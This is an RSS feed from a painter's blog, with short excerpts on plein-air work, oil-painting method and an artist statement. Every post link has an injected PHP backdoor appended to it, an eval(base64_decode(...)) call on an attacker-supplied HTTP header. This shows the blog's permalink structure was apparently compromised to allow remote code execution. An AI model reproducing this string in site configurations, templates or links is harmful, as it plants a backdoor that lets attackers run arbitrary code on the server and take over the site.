http://thwidener.com/artistblog “Even though I paint the natural world, my work is primarily concerned with the human condition”. Sun, 01 Mar 2009 18:53:10 +0000 http://backend.userland.com/rss092 en In searching for an "ism" that best describes my method and technique I have, for the past several weeks, emersed myself in other painting modes--past and present--that bear some similarities to my own.  It is true that no two artists paint the same way, but may share the same ideology.  This, to ... http://thwidener.com/artistblog/2009/03/01/78/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I have been reading an old turn of the century publication on techniques and materials concerning oil painting and have come to the conclusion that I have been somewhat wrong about my method.  I have for some time been calling it the "Peuse" method having learned the technique from my ... http://thwidener.com/artistblog/2009/02/15/peuce-method/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Working on-the-spot in different weather conditions has its highs and lows, but is still important in order to learn to read nature both objectively and subjectively.  As an artist who works from life, I believe that although studio painting is a good medium to demonstrate the "inner" feeling, or subconcious ... http://thwidener.com/artistblog/2009/01/31/plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ With each painting, my goal is always to paint what I feel  as well as what I see.  It is how light creates the effect and how that moment affects me which is important.  This does not mean the sun has to be out in full shine—I paint many moonscapes ... http://thwidener.com/artistblog/2009/01/25/notes-on-plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://thwidener.com/artistblog/2009/01/10/welcome-fellow-artists/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ “Even though I paint the natural world, my work is primarily concerned with the human condition”. http://thwidener.com/artistblog/2009/01/10/artist-statement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My work is an emotional response to the visual, using color as light to make a subjective statement. http://thwidener.com/artistblog/2008/12/31/about-my-work/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/